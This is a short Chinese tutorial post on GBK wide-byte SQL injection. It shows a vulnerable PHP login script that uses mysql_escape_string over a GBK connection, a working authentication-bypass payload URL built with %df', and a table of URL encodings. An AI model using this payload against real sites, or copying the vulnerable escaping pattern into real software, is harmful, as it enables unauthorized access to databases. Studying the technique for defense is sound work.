SQL注入之宽字节注入
Posted 迷途小書童
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入之宽字节注入相关的知识,希望对你有一定的参考价值。
简介
宽字节注入是相对于单字节注入而言的。单字节注入就是大家平时的直接在带有参数ID的URL后面 追回SQL语句进行注入。比如:http://www.hackest.cn/article.php?id=1and 1=1/*
http://www.hackest.cn/article.php?id=1and 1=2/*,这个经典的判断目标是否存在注入的例子就是单字节注入。
理论上说,只要数据库连接代码设置了GBK编码,或者是默认编码就 是GBK,那现在的程序里到处都是注入漏洞。事实上,这种变换在XSS等领域也发挥了巨大的作用,在PHP+Linux后台程序结合的时候,还可能造成命 令注入,也就是说能可以在注入点直接执行Linux系统命令。比如登录文件login.php的代码如下:
<?php $conn=mysql_connect("localhost","root","hackest"); mysql_query("SET NAMES ‘GBK‘"); mysql_select_db("test",$conn); $user=mysql_escape_string($_GET[‘user‘]); $pass=mysql_escape_string($_GET[‘pass‘]); $sql="select * from cms_user where username=‘$user‘ and password=‘$pass‘"; $result=mysql_query($sql,$conn); while ($row=mysql_fetch_array($result, MYSQL_ASSOC)) { $rows[]=$row; } ?>
则可以通过构造以下语句进行注入:
http://www.hackest.cn/login.php?user=%df‘%20or%201=1%20limit%201,1%23&pass=
%20是空格的URL编码,%23是#的URL编码,Mysql注释符之一。对应的SQL语句是:
select * fromcms_user where username=‘運‘or 1=1 limit 1,1#‘ and password="
以下为URL编码:
%27---------单引号
%20----------空格
%23-----------#号
%5c------------/反斜杠
以上是关于SQL注入之宽字节注入的主要内容,如果未能解决你的问题,请参考以下文章